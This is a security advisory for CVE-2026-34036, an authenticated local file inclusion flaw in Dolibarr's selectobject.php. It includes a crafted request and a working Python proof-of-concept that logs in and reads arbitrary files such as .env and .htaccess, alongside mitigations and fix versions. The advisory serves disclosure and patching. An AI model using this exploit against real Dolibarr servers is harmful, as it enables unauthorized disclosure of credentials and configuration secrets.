Skip to content

GHSA-2mfj-r695-5h9r CVE-2026-34036

Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php

Medium Packagist
Severity
6.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
1.46%
Chance of exploitation in the next 30 days. Higher than 73.65% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Fix
23.0.0
Upgrade dolibarr/dolibarr to this version or later

Description

Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure

Target

Dolibarr Core (Tested on version 22.0.4)

Summary

A Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs…).

Vulnerability Details

The vulnerability is caused by a critical design flaw in /core/ajax/selectobject.php where dynamic file inclusion occurs before any access control checks are performed, combined with a fail-open logic in the core ACL function.

  • Arbitrary File Inclusion BEFORE Authorization: The endpoint parses the objectdesc parameter into a $classpath. If fetchObjectByElement fails (e.g., by providing a fake class like A:conf/.htaccess:0), the application falls back to dol_include_once($classpath) at line 71. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens before the application checks any user permissions.
  • Access Control Bypass (Fail-Open): At line 102, the application finally attempts to verify permissions by calling restrictedArea(). Because the object creation failed, the $features parameter sent to restrictedArea() is empty (''). Inside security.lib.php, if the $features parameter is empty, the access check block is completely skipped, leaving the $readok variable at 1. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.

This allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like .htaccess, .env, .json, .sql) are dumped into the HTTP response before the application crashes.

Steps to Reproduce

  • Log in to the Dolibarr instance with any user account (no specific permissions required).
  • Intercept or manually forge a GET request to the following endpoint:
GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0
  • Observe the HTTP response. The contents of the conf/.htaccess file will be reflected in the response body right before the PHP Fatal Error message.
  • (Optional) Run the attached Python PoC to automate the extraction:
python3 poc.py --url http://target.com --username '<username>' --password '<password>' --file conf/.htaccess

Impact

An attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (.env), infrastructure configurations (.htaccess), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.

Suggested Mitigation

  • Input Validation & Whitelisting: The $classpath must be strictly validated or whitelisted before being passed to dol_include_once().
  • Execution Flow Correction: The file inclusion logic must never be executed before the user's authorization has been fully verified.
  • Enforce Fail-Secure ACLs: Modify restrictedArea() in core/lib/security.lib.php so that if the $features parameter is empty, access is explicitly denied ($readok = 0) instead of allowed by default.

Disclosure Policy & Assistance

The reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.

Should any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.

Thank you for the time and commitment to securing Dolibarr.

Best Regards, Vincent KHAYAT (cnf409)

Video PoC

https://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844

PoC Script

#!/usr/bin/env python3
"""Dolibarr selectobject.php authenticated LFI PoC"""

import argparse
import html
import re
import urllib.error
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar

LOGIN_MARKERS = ("Login @", "Identifiant @")
LOGOUT_MARKERS = ("/user/logout.php", "Logout", "Mon tableau de bord")

def request(
    opener, base_url, method, path, params=None, data=None, timeout=15
):
    url = f"{base_url.rstrip('/')}{path}"
    if params:
        url = f"{url}?{urllib.parse.urlencode(params)}"
    payload = urllib.parse.urlencode(data).encode("utf-8") if data else None
    req = urllib.request.Request(url, method=method.upper(), data=payload)
    req.add_header("User-Agent", "dolibarr-lfi-poc/1.0-securitytest-for-dolibarr")
    req.add_header("Accept", "text/html,application/xhtml+xml")
    try:
        with opener.open(req, timeout=timeout) as resp:
            return resp.status, resp.read().decode("utf-8", errors="replace")
    except urllib.error.HTTPError as err:
        return err.code, err.read().decode("utf-8", errors="replace")

def extract_login_token(page):
    for pattern in (
        r'name=["\']token["\']\s+value=["\']([^"\']*)["\']',
        r'name=["\']anti-csrf-newtoken["\']\s+content=["\']([^"\']*)["\']',
    ):
        match = re.search(pattern, page, flags=re.IGNORECASE)
        if match:
            return match.group(1)
    return ""

def looks_authenticated(body):
    return any(marker in body for marker in LOGOUT_MARKERS)

def clean_included_output(body):
    for marker in (
        "<br />\n<b>Warning",
        "<br />\r\n<b>Warning",
        "<br />\n<b>Fatal error",
        "<br />\r\n<b>Fatal error",
    ):
        pos = body.find(marker)
        if pos != -1:
            return body[:pos].rstrip()
    return body.rstrip()

def login(opener, base_url, username, password):
    code, login_page = request(opener, base_url, "GET", "/")
    if code >= 400:
        return False, f"HTTP {code} on login page"
    token = extract_login_token(login_page)
    code, after_login = request(
        opener,
        base_url,
        "POST",
        "/index.php?mainmenu=home",
        data={
            "token": token,
            "actionlogin": "login",
            "loginfunction": "loginfunction",
            "username": username,
            "password": password,
        },
    )
    if code >= 400:
        return False, f"HTTP {code} on login request"
    if looks_authenticated(after_login):
        return True, ""
    code, home = request(opener, base_url, "GET", "/index.php?mainmenu=home")
    if code < 400 and looks_authenticated(home):
        return True, ""
    return False, "Invalid username or password"

def read_file(opener, base_url, relative_path):
    status, body = request(
        opener,
        base_url,
        "GET",
        "/core/ajax/selectobject.php",
        params={
            "outjson": "0",
            "htmlname": "x",
            "objectdesc": f"A:{relative_path}:0",
        },
    )
    if any(marker in body for marker in LOGIN_MARKERS) and not looks_authenticated(body):
        raise RuntimeError("Session expired or not authenticated")
    return status, body, clean_included_output(body)

def parse_args():
    parser = argparse.ArgumentParser(
        description="Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4)."
    )
    parser.add_argument(
        "--url",
        default="http://127.0.0.1:8080",
        help="Dolibarr base URL (default: http://127.0.0.1:8080)",
    )
    parser.add_argument("--username", required=True, help="Dolibarr username")
    parser.add_argument("--password", required=True, help="Dolibarr password")
    parser.add_argument(
        "--file",
        dest="target_file",
        required=True,
        help="Target file to read (e.g. conf/.htaccess).",
    )
    return parser.parse_args()

def print_result(path, status, raw, clean):
    print(f"\n[+] HTTP status: {status}")
    print(f"[+] Requested file: {path}")
    print("=" * 80)
    if clean:
        print(html.unescape(clean))
    else:
        print("(No readable output extracted)")
    print("=" * 80)
    if clean != raw.rstrip():
        print("[i] PHP warnings/fatal output were trimmed from display.")

def summarize_error_body(body, limit=1200):
    text = html.unescape(body).strip()
    if not text:
        return "(Empty response body)"
    if len(text) > limit:
        return text[:limit].rstrip() + "\n... [truncated]"
    return text

def main():
    args = parse_args()
    opener = urllib.request.build_opener(
        urllib.request.HTTPCookieProcessor(CookieJar())
    )
    ok, reason = login(opener, args.url, args.username, args.password)
    if not ok:
        print(f"[!] {reason}")
        return 1
    print("[+] Login successful.")
    try:
        status, raw, clean = read_file(opener, args.url, args.target_file)
        if status >= 400:
            print(f"[!] HTTP {status} while reading target file.")
            print("=" * 80)
            print(summarize_error_body(raw))
            print("=" * 80)
            return 1
        print_result(args.target_file, status, raw, clean)
        return 0
    except Exception as exc:
        print(f"[!] Error: {exc}")
        return 1

if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except KeyboardInterrupt:
        print("\nInterrupted.")
        raise SystemExit(130)

Affected versions

Packagist

PackageVulnerableFixed in
dolibarr/dolibarr
< 23.0.0
23.0.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

dolibarr/dolibarr Packagist → 23.0.0

composer
composer require dolibarr/dolibarr:^23.0.0

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be rem
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues. Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.
  • Operation: Set allow_url_fopen to false, which limits the ability to include files from remote locations.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-v5fq-cf5m-vwv7
Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter
High Also affects dolibarr/dolibarr
GHSA-7fg5-vc77-69fp
Dolibarr ERP CRM is vulnerable to Improper Authorization through its Leave Request REST API
Medium Also affects dolibarr/dolibarr
GHSA-hxmh-2xc4-c894
Dolibarr ERP CRM contains a remote code evaluation vulnerability
Critical Also affects dolibarr/dolibarr
GHSA-jggh-5rmh-r6h5
Dolibarr has Insufficient Verification of Data Authenticity
Low Also affects dolibarr/dolibarr
GHSA-rvwr-q5hj-wq7g
Dolibarr has an Injection issue
Medium Also affects dolibarr/dolibarr
GHSA-j2g9-rprv-hrhc
Dolibarr user with permission to edit PHP content can bypass filtering to restrict dangerous PHP functions
High Also affects dolibarr/dolibarr
GHSA-676v-wh57-p375
Dolibarr Allows Code Injection through its Website Module
High Also affects dolibarr/dolibarr
GHSA-w5j3-8fcr-h87w
Dolibarr: OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration
Critical Also affects dolibarr/dolibarr
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor